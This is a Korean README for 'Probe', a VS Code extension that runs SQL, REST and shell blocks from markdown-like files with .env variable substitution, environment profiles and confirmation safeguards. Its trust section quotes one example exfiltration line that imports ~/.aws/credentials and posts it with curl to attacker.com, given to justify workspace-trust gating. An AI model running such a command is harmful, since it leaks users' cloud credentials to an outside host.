Probe
각 코드 블럭 위에 기능
요구 사항
셸 블럭
안전장치셸 블럭은 임의의 명령을 실행합니다.
변수 치환문서가 자기 머리에서 변수 파일을 불러오고, 블럭을 실행하기 직전에
토큰 규칙
러너별 적용
rest 블럭의
|
| 상태 | 표시 |
|---|---|
REST Client 정의에 있음 (@base = 값, # @name login, # @prompt pw, 환경 설정) |
없음 — hover가 어디서 찾았는지 알려줍니다 |
@import한 Probe 키에만 있음 |
Warning — 치환될 거라 기대하기 쉬운 자리입니다 |
| 아무 곳에도 없음 | Error — .http에서 REST Client가 내는 것과 같은 자리 |
{{$guid}} 등 내장 변수 |
없음 — 참조 정규식이 \w로 시작하므로 애초에 대상이 아닙니다 |
@BASE_URL = https://httpbin.org
GET {{BASE_URL}}/get?tenant={{TENANT}}&sid={{SESSION_ID}}
# ✓ 위에서 정의 ~~~~~~~~ Warning ~~~~~~~~~~~~ Error
토큰에 마우스를 올리면 종류와 정의 위치를 함께 보여줍니다.
판정 규칙(참조·파일 변수·요청 이름·prompt 정규식)은 REST Client 0.25.1 번들에서 그대로 옮겼습니다. 정의는 REST Client와 마찬가지로 문서 전체에서 모읍니다 — 실행 시 REST Client도 .probe 문서 전체를 보기 때문에(processRawRequest → getCurrentTextDocument()), 다른 블럭에 적은 @base = 값이 그대로 통합니다.
두 가지 한계가 있습니다.
- REST Client가 현재 선택한 환경은 자기 내부 저장소에만 있어 읽을 수 없습니다. 그래서
rest-client.environmentVariables의 모든 환경 키를 합쳐서 봅니다 — 다른 환경의 키를 미정의로 잘못 표시하는 오탐을 피하는 쪽입니다. - 요청 변수가 아직 안 보내진 상태는 알 수 없어 표시하지 않습니다(REST Client는 Info를 냅니다).
REST Client 규칙이 바뀌어 오탐이 생기면 probe.rest.validateVariables를 false로 끄세요. hover 안내는 그대로 남습니다.
rest 블럭에서 .env 값을 쓰려면 REST Client 쪽 문법인 {{$dotenv KEY}}를 씁니다. 다만 REST Client는 문서 폴더부터 위로 올라가며 .env 라는 이름의 파일만 찾으므로, Probe의 @import 경로(임의 파일명·여러 개 병합)와 자동으로 이어지지는 않습니다.
미정의 변수는 실행을 막습니다
{{KEY}} 중 하나라도 import한 파일에 없으면 실행하지 않습니다. WHERE id = {{USER_ID}}가 WHERE id = 로 나가 전체 테이블을 대상으로 하는 사고를 막기 위한 것이며, 여기서는 타협하지 않습니다. 부분 치환은 없습니다.
KEY=로 정의한 빈 문자열은 미정의가 아닙니다 — 치환되고 실행됩니다. 키를 미정의로 되돌리는 문법은 없습니다.- 문서에
{{}}토큰이 아예 없으면 import가 깨져 있어도 실행을 막지 않습니다(경고만).
에디터에는 진단으로 바로 표시됩니다 — 실행할 때만 알려주면 문서를 쓰는 동안 오타를 모릅니다.
| 상황 | 표시 | 실행 |
|---|---|---|
{{UNKNOWN}} — import에 없는 키 |
토큰 위치에 Error | 차단 |
@import 대상 파일 없음 |
@import 줄에 Warning |
토큰이 있으면 차단 |
| import 경로가 워크스페이스 밖 | @import 줄에 Warning |
허용 |
| 같은 파일 중복 import | @import 줄에 Info |
허용 |
.env의 닫히지 않은 따옴표 |
.env 해당 줄에 Error |
그 키는 미정의 |
.env의 해석 불가한 줄 |
.env 해당 줄에 Warning |
나머지 키로 진행 |
rest 블럭에서 import한 키와 이름이 겹침 |
토큰 위치에 Warning | 허용 (치환하지 않음) |
rest 블럭에서 REST Client 정의도 없음 |
토큰 위치에 Error | 허용 (REST Client가 빈 값으로 보냄) |
import한 파일을 저장하면 진단이 바로 갱신됩니다.
로드 상태 확인
@import 줄 위 CodeLens는 전환기가 아니라 로드 상태 표시기입니다.
┌ db.env · 변수 4개
@import ./db.env
- 클릭하면 이 파일이 정한 값과, 뒤 파일에 가려진 값을 보여줍니다. 여러 파일을 겹쳐 쌓을 때 "지금 실제로 무슨 값이 쓰이나"가 가장 헷갈리는 지점입니다.
- 파일이 없으면
⚠ db.env 없음으로 바뀝니다. Probe: Show Resolved Variables— 병합된 최종 맵 전체와 각 키의 출처 파일을 봅니다.
dotenv 방언
파서를 직접 씁니다(src/core/dotenv.ts). 지원 범위는 아래가 전부입니다.
| 규칙 | 동작 |
|---|---|
KEY=value |
기본. 값 앞뒤 공백은 trim |
export KEY=value |
export 접두 허용 |
# comment |
전체 줄 주석. 빈 줄 무시 |
KEY="a b" |
큰따옴표: 따옴표 제거, \n·\t·\"·\\ 해석 |
KEY='a b' |
작은따옴표: 따옴표 제거, 이스케이프 해석 안 함 |
KEY= |
빈 문자열로 정의됨 (미정의와 구분) |
값 안의 ${OTHER} |
보간하지 않음. 리터럴 유지 |
| 중복 키 | 나중 것이 이김 |
- 따옴표 없는 값의 행중 주석(
KEY=value # comment)은 주석이 아닙니다 —PASSWORD=ab#cd같은 값이 조용히 잘리는 게 더 위험합니다. 주석을 붙이려면 값을 따옴표로 감싸세요. - 여러 줄 값: 값이 따옴표로 시작하고 같은 줄에서 닫히지 않으면 닫는 따옴표가 나오는 줄까지 이어 읽습니다.
닫는 따옴표 없이 파일이 끝나면 그 키를 정의하지 않고 시작 줄에 Error를 냅니다. 나머지를 조용히 값으로 삼키지 않습니다.PRIVATE_KEY="-----BEGIN RSA PRIVATE KEY----- MIIEpAIBAAKCAQEA... -----END RSA PRIVATE KEY-----"
신뢰와 시크릿
@import는 임의 파일을 읽어 셸 명령에 삽입하는 경로입니다. 악의적 저장소라면 @import ~/.aws/credentials 후 curl attacker.com -d '{{...}}' 같은 유출이 성립합니다. probe.shell.path를 게이팅하는 것과 같은 위협 모델이므로 같은 장치에 맡깁니다.
- 신뢰하지 않은 폴더에서는
@import를 수행하지 않습니다(파일을 읽지 않습니다).{{}}가 든 블럭은 실행이 차단됩니다. - 확인 창과 출력 창 미리보기에는 치환된 최종 텍스트를 보여줍니다 — 실행 전에 값이 맞는지 확인할 수 있어야 합니다. 단 키 이름이
TOKEN/SECRET/PASSWORD/PWD/API_KEY/PRIVATE_KEY류면 값을••••••••로 가립니다(probe.variables.maskSecretLike). .env가.gitignore에 있는지 확인하세요. Probe는 값을SecretStorage로 옮기지 않습니다 — 파일이 원본입니다.
환경 전환 (접속 대상)
블럭이 어디서 실행되는지를 이름으로 묶어 한 번에 바꿉니다. 로컬과 스테이징을 오갈 때마다 settings.json의 probe.mysql.host를 고치지 않아도 되고, 무엇보다 되돌리는 걸 잊어서 다음 쿼리가 운영으로 나가는 사고를 막습니다.
"probe.env.profiles": {
"local": {
"mysql": { "host": "127.0.0.1", "user": "root", "database": "app" }
},
"staging": {
"mysql": { "host": "stg-db.internal", "user": "app_rw", "database": "app" },
"shell": { "cwd": "${workspaceFolder}/ops" }
},
"prod": {
"mysql": { "host": "prod-db.internal", "user": "app_ro", "database": "app" },
"confirm": true
}
},
"probe.env.default": "local"
전환은 상태 바(우측 $(database) local)를 클릭하거나 Cmd+Shift+P → Probe: Switch Environment. 목록에는 이름과 함께 접속 대상이 나오므로 고르기 전에 어디인지 보입니다. 선택은 워크스페이스별로 기억됩니다.
프로파일이 덮는 값
프로파일은 기존 설정 위에 얹는 얕은 레이어 한 겹입니다. 새 설정 축을 만들지 않습니다.
| 프로파일 필드 | 덮는 설정 |
|---|---|
mysql.host / user / database / path |
probe.mysql.* |
shell.cwd |
probe.shell.cwd |
confirm |
(프로파일 전용) |
우선순위는 프로파일 값 > 기존 개별 설정 > 기본값입니다. 프로파일에 적지 않은 필드는 기존 설정을 그대로 쓰므로, 프로파일을 정의하지 않으면 이 기능이 생기기 전과 완전히 같게 동작합니다.
rest 블럭은 대상이 아닙니다 — REST Client가 자체 환경 기능을 갖고 있고 Probe는 커맨드 위임만 하므로, 요청 대상 URL은 REST Client 쪽에서 관리합니다.
안전 장치
1. 매 실행마다 출력 창 첫 줄에 대상을 찍습니다.
[prod] $ mysql -h prod-db.internal -u app_ro app
전환 UI를 아무리 잘 만들어도 사용자는 상태 바를 보지 않습니다. 결과가 나오는 자리에 대상이 적혀 있는 것이 가장 확실합니다.
2. confirm은 실행 직전에 묻습니다. 확인 창에는 프로파일 이름·접속 대상·실행할 내용이 함께 나옵니다. 빈도는 값으로 고릅니다.
| 값 | 언제 묻나 |
|---|---|
true / "once" (기본) |
이 환경으로 바꾼 뒤 첫 실행에서 한 번 |
"always" |
블럭을 실행할 때마다 |
once의 "한 번"은 창이 열려 있는 동안만 유효합니다. VS Code를 다시 열거나, 다른 환경에 갔다 돌아오거나, probe.env.profiles를 고치면 확인 기억이 사라져 다시 한 번 묻습니다. 그래서 "운영으로 전환해 두고 되돌리는 걸 잊는" 시나리오에서도 다음 창에서 다시 걸립니다. 매 실행 확인이 필요하면 "always"를 쓰세요.
(```sh 블럭에서 probe.shell.confirmBeforeRun까지 켜져 있으면, 환경 확인 창이 방금 떴을 때만 모달이 한 번으로 합쳐집니다. once로 이미 확인한 뒤의 실행에서는 블럭 내용을 아직 보여준 적이 없으므로 셸 확인 창이 제 몫을 합니다.)
3. confirm이 붙은 프로파일이 활성이면 상태 바가 경고색이 됩니다. 기준은 이름이 아니라 직접 적은 confirm 값입니다 — 이름으로 추측하면 prod-mirror 같은 안전한 대상을 오판합니다.
4. confirm이 붙은 프로파일은 자동으로 선택되지 않습니다. probe.env.default에 적어도 마찬가지이며, 오직 직접 고른 선택만 다음 창에서 복원됩니다.
비밀번호는 자동으로 분리됩니다
SecretStorage 키가 host/user/database 조합으로 만들어지므로, 프로파일을 바꾸면 키가 저절로 달라집니다. Probe: Set MySQL Password도 지금 활성인 프로파일의 접속 정보에 대해 저장합니다.
신뢰
probe.env.profiles는 신뢰하지 않은 폴더에서 워크스페이스 값이 무시됩니다. 프로파일이 mysql.path / shell.cwd를 담을 수 있어, 제한하지 않으면 커밋된 .vscode/settings.json이 기존 게이팅을 우회하기 때문입니다.
설정
Cmd+, → probe 검색, 또는 설정 JSON에 직접 입력합니다.
| 설정 | 기본값 | 설명 |
|------|--------|------|
| probe.env.profiles | {} | 이름 붙인 접속 대상 묶음. 활성 프로파일이 아래 값들을 덮음 |
| probe.env.default | (빈 값) | 저장된 선택이 없을 때 쓸 프로파일. 비우면 첫 프로파일 | | `probe.mysql.path` | `mysql` | mysql 실행 파일 경로 | | `probe.mysql.host` | `localhost` | 호스트 (`-h`) | | `probe.mysql.user` | `root` | 사용자 (`-u`) | | `probe.mysql.database` | (빈 값) | 사용할 데이터베이스 |
| probe.shell.path | (빈 값) | 셸 실행 파일. 비우면 `$SHELL` → `/bin/bash` | | `probe.shell.loginShell` | `true` | 로그인 셸(`-l`)로 실행해 프로필(PATH·alias)을 읽음 | | `probe.shell.cwd` | (빈 값) | 작업 디렉터리. ${workspaceFolder}, ${fileDirname}, ~ 사용 가능 |
| probe.shell.confirmBeforeRun | false | ```sh 블럭 실행 전 확인 창 |
| probe.variables.maskSecretLike | true | 키 이름이 TOKEN/SECRET/PASSWORD 등일 때 미리보기에서 값을 가림 |
| probe.rest.validateVariables | true | ```rest 블럭의 {{변수}}가 REST Client 정의에 있는지 검사 |
비밀번호는 설정이 아니라 커맨드 팔레트(Cmd+Shift+P)로 입력합니다.
Probe: Set MySQL Password— 현재 host/user/database 조합에 대한 비밀번호를 입력받아 VS Code의SecretStorage(OS 키체인)에 저장합니다.Probe: Clear MySQL Password— 저장된 비밀번호를 지웁니다.
보안:
probe.mysql.password설정은 더 이상 쓰지 않습니다. 과거에 설정해둔 값이 남아 있다면 다음 실행 때 자동으로 SecretStorage로 옮겨지고 설정에서 지워집니다. 직접.vscode/settings.json에 비밀번호를 적어두지 마세요 — 저장소에 커밋될 수 있습니다.
사용법
- 아무
.probe파일을 만든다 (예:queries.probe). - 마크다운처럼 설명과 코드 블럭을 적는다.
- 실행할
```sql/```rest/```sh블럭 위 버튼을 누르거나, 블럭 안에서Cmd+Enter.
examples/sample.probe에 예시가 들어 있습니다.
개발
npm install # 의존성 설치
npm run compile # TypeScript(→ out/) 컴파일
npm run watch # 변경 감지 컴파일
npm test # 단위 테스트 (bun)
VS Code에서 이 폴더를 열고 F5 → 확장이 로드된 새 창(Extension Development Host)이 뜨고 examples/ 폴더가 열립니다. 소스를 고치면 새 창에서 Cmd+R로 리로드합니다.
EDH가 여는 폴더를
examples/로 둔 이유, F5가 동작하지 않을 때의 원인 등은 TROUBLESHOOTING.md에 정리해두었습니다.
- 언어: TypeScript 7 (
tsc로 빌드/타입체크) - 포매팅: Prettier (세미콜론 없음, 작은따옴표, 저장 시 자동 적용)
- 테스트: bun (
bun test)
구조
src/
├── extension.ts # 러너 등록 + 명령/CodeLens (dispatch)
├── core/
│ ├── blocks.ts # 마크다운 코드 블럭 파싱 (순수 로직)
│ ├── outline.ts # 제목·블럭 심볼 트리 (순수 로직)
│ ├── dotenv.ts # .env 파싱 (순수 로직)
│ ├── imports.ts # @import 수집 + 경로 해석 (순수 로직)
│ ├── variables.ts # {{KEY}} 스캔·치환·병합 (순수 로직)
│ └── registry.ts # Runner 타입 + register/getRunner
├── variables/ # 변수 기능의 vscode 계층 (파일 읽기·진단·CodeLens)
└── runners/
├── mysql/ # ```sql 실행
├── rest/ # ```rest 실행 (+ tokens/definitions/hover = {{}} 검사·안내)
└── shell/ # ```sh 실행
새 러너 추가하기
src/runners/<name>/index.ts에서Runner를 exportexport const fooRunner: Runner = { lang: 'foo', aliases: ['foo2'], // 선택: 같은 러너를 부르는 다른 펜스 표기 label: '▶ Run', // payload.text = {{KEY}} 치환이 끝난 실행용 텍스트 // payload.display = 사람에게 보여줄 텍스트 (시크릿 마스킹 적용) run: (editor, range, payload) => { /* ... */ }, }substituteVariables: false를 주면 치환을 건너뛰고 원문이 그대로 넘어옵니다(rest가 그렇습니다).src/extension.ts에 두 줄 추가import { fooRunner } from './runners/foo' register(fooRunner)test/runners/<name>.test.ts로 테스트 추가
러너가 커지면 그 폴더 안에서 client.ts, config.ts 등으로 나누면 됩니다.
라이선스
MIT